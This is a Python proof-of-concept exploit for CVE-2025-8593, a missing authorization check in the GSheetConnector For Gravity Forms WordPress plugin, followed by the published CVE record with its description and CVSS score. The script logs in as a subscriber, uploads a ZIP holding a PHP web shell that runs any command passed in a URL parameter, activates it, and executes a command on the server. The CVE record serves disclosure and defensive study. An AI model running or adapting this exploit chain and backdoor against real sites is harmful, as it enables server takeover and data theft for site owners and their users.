CVE-2025-8593

# CVE-2025-8593 PoC - GSheetConnector For Gravity Forms Authorization Bypass # Vulnerability: Missing capability check on 'install_plugin' function # Affected versions: <= 1.3.27 import requests import zipfile import io TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "subscriber_password" # Step 1: Authenticate as a subscriber-level user session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" # Get login page to retrieve cookies and nonce response = session.get(login_url) # Perform login login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Create a malicious plugin ZIP file def create_malicious_plugin(): plugin_content = """<?php /** * Plugin Name: Malicious Helper * Description: Exploit plugin for CVE-2025-8593 */ // Execute arbitrary command from request parameter if(isset($_GET['cmd'])) { system($_GET['cmd']); exit; } ?>""" zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr("malicious-helper/malicious-helper.php", plugin_content) zip_buffer.seek(0) return zip_buffer # Step 3: Exploit the missing capability check via admin-ajax.php # The 'install_plugin' function lacks proper authorization checks ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" plugin_zip = create_malicious_plugin() # Send the malicious plugin via the vulnerable endpoint exploit_data = { "action": "install_plugin", # Vulnerable action without capability check "_wpnonce": "obtained_nonce_or_bypass" # Nonce may also be improperly validated } files = { "pluginzip": ("malicious.zip", plugin_zip, "application/zip") } response = session.post(ajax_url, data=exploit_data, files=files) print(f"Exploit response: {response.status_code}") print(f"Response body: {response.text[:500]}") # Step 4: Activate the installed plugin for RCE activate_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" activate_data = { "action": "activate_plugin", "plugin": "malicious-helper/malicious-helper.php" } response = session.post(activate_url, data=activate_data) # Step 5: Execute arbitrary commands via the backdoor rce_url = f"{TARGET_URL}/wp-content/plugins/malicious-helper/malicious-helper.php?cmd=id" response = session.get(rce_url) print(f"RCE result: {response.text}")

{"cve": {"id": "CVE-2025-8593", "sourceIdentifier": "[email protected]", "published": "2025-10-11T10:15:44.140", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GSheetConnector For Gravity Forms plugin for WordPress is vulnerable to authorization bypass in versions less than, or equal to, 1.3.27. This is due to a missing capability check on the 'install_plugin' function. This makes it possible for authenticated attackers, with subscriber-level access and above to install plugins on the target site and potentially achieve arbitrary code execution on the server under certain conditions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/gsheetconnector-gravity-forms/tags/1.3.23/includes/class-gravityform-gs-service.php#L128", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3354113%40gsheetconnector-gravity-forms&new=3354113%40gsheetconnector-gravity-forms&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c7266ce6-2853-4c5d-9e36-8c5b7418b072?source=cve", "source": "[email protected]"}]}}